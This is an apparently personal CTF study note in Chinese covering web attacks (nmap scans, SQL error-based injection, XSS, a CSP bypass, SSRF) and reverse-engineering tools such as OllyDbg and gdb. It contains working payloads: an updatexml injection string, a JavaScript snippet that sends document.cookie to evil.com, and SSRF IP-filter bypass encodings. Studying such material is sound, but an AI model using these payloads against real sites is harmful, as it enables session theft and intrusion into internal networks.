CTF学习
Web
nmap
nmap常用的扫描命令是:
nmap -sS -sV-p- 192.168.1.1
或
nmap -v -T4 -A 192.168.1.1/24
Sql注入
利用报错注入:
updatexml:爆破数据库版本Payload:
?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23
常见的注入点位置:
GET参数:最容易发现
POST:通过抓包来发现,Burp或浏览器插件Hackbar发POST包
User-Agent:Burp的Repeater模块或Sqlmap
Cookies:Burp的Repeater模块或Sqlmap
注入的检测;
插入单引号
数字型判断
通过数字的加减判断
XSS跨站脚本攻击
反射型、存储型、DOM型
绕过CSP
大部分网站跳转还是要依赖前端来进行,所以在CSP中无法对location.href做出限制,一次可以衍生出大量的绕过方式:
// bypass 1
// bypass 2
var a=document.createElement("a");
a.href='http://evil.com/cookie.php?cookie='+escape(document.cookie);
document.body.appendChild(a);
a.click();
// bypass 3
服务器请求伪造(SSRF)
示例:
ssrf.php:
$url = $_GET['url'];
echo file_get_contents($url);
?>
当请求:
http://example.com/ssrf.php?url=http://192.168.252.1:8000/
就能够获取到服务器/目录的文件
绕过正则:
http://example.com@evil.com
绕过内网IP地址过滤:
127.0.0.1的替代写法:
八进制:0177.00.00.01
十进制:2130706433
十六进制:0x7f.0x0.0x0.0x1
省略写法: 127.1
或配置域名:
evil.example.com=>10.0.18.3
特性利用
PHP语言特性
Windows系统特性
代码审计
源码泄露
常见备份文件
Github
svn
利用漏洞泄露
代码审计
工具
收费:RIPS,价格不菲,也有开源版,但是有缺点
免费:Seay源代码审计系统,自动审计的过程主要是根据各种正则表达式匹配结果是否存在漏洞
其他:安全狗、D盾、护卫神等Webshell工具扫描
逆向工程
逆向工程是我比较喜欢的方向,之前也做过一些研究,这次学习就细心点吧。
Ollydbg
断点
分类:
一般断点:
int3指令
F2键快速下断点
也可以使用命令行:bp xxxxxx或者bp MessageBoxA
内存断点:
内存访问和内存写入,OD每一时刻只允许一个内存断点
硬件断点:
硬件访问、硬件写入、硬件执行,最多设置4个硬件断点
快捷键
F9:运行程序
F7:单步跟踪(进入),一条条执行,遇到call会进入执行
F8:但不跟踪(步过),遇到call不会进入
F4:执行到所选代码
Alt+F9:执行到程序领空,主要用于在dll或其他调用库时快速回到主程序领空
gdb
在Linux下调试程序必备,默认情况下,Linux都会自动安装,如果没有,手动安装:
sudo apt-get install gdb
sudo apt-get install gdb-multiarch
插件:peda、gef、pwndbg,都可以在github上面找到
IDA Pro
暂时先写到这,工作考研,我哭了-_-